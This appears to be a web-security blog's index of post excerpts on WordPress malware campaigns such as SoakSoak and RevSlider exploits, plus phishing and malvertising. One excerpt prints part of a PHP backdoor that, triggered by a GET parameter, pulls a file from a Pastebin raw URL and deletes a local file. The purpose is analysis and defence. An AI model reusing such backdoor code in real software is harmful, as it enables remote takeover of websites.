Last weekend we noticed a large number of requests to scan websites for malware because they randomly redirected to some “magazine” websites. Most of them mentioned the lemode-mgz .com site. In all cases, the symptoms were the same. Some users randomly got redirected when they clicked on links or loaded new pages. They all reported […]
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Website Backdoors Leverage the Pastebin Service
We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files. Here’s the backdoor code: if(array_keys($_GET)[0] == ‘up’){ $content = file_get_contents(“http://pastebin . com/raw.php?i=JK5r7NyS”); if($content){unlink(‘evex.php’); $fh2 […]
WP Symposium – Zero Day Vulnerability Dangers
Our friends at SpiderLabs released a blog post today talking about the latest WP Symposium file upload vulnerability, and the attacks they have been seeing in the wild. This specific vulnerability was disclosed publicly Dec 11th, and attacks against it have started. If you use this WordPress plugin we encourage you to update your plugin. […]
Analyzing The WordPress SoakSoak Favicon Backdoor
This post is a dissection of one of a few backdoor variations hackers are uploading via the RevSlider security hole. We also provide webmasters a complete mitigation plan. In the previous post we described how hackers upload a ZIP file which appears to be a new plugin theme, but in reality is being used to […]
New Malware Campaign – WPcache-Blogger – Affects Thousands more WordPress Websites via RevSlider
If SoakSoak wasn’t enough, we are starting to see a new malware campaign leveraging the RevSlider vulnerability and compromising thousands of WordPress sites in the last few days. Unlike SoakSoak, it’s comprised of 3 distinct malframes – creating one new campaign. We’re tracking each closely: 1- wpcache-blogger: This campaign is using the domain wpcache-blogger.com as […]
SoakSoak Campaign Evolves – New Wave of Attacks
Since Sunday, we have seen a new wave of SoakSoak reinfections. The Javascript continues to evolve and load other scripts in order to infect additional websites. We have updates for concerned webmasters looking to stay on top of the threat and keep their site protected against these kinds of attacks. To those websites that have […]
SoakSoak: Payload Analysis – Evolution of Compromised Sites – IE 11
Thousands of WordPress sites has been hit by the SoakSoak attack lately. At this moment we know quit a lot about it. It uses the RevSlider vulnerability as a point of penetration. Then uploads a backdoor and infects all websites that share the same server account (so sites that don’t use the RevSlider plugin can […]
Malvertising on a Website Without Ads
When you first configure your website, whether it be WordPress, Joomla, Drupal, or any other flavor of the month, it is often in its purest state. Unless ofcourse the server was previously compromised, which in it of itself is another conversation outright. Barring that one instance, the new website should not exhibit any malicious behavior. […]
Targeted Phishing Against GoDaddy Customers
I do get a lot of phishing emails, we all do, but as security professionals we tend to recognize them immediately. Either the syntax is wrong, or it’s missing a name. When you get them from a bank you don’t even deal with that’s a pretty good clue. However, when the phishing is well done […]
Typos Can have a Bigger Impact Than Expected
Have you ever thought about the cost of a typo? You know what I mean, a simple misspelling of a word somewhere on your website. Do you think there’s a risk in that? You may have seen the Grammar Police all over your comments yelling that you used the wrong version of “your” and pointing […]
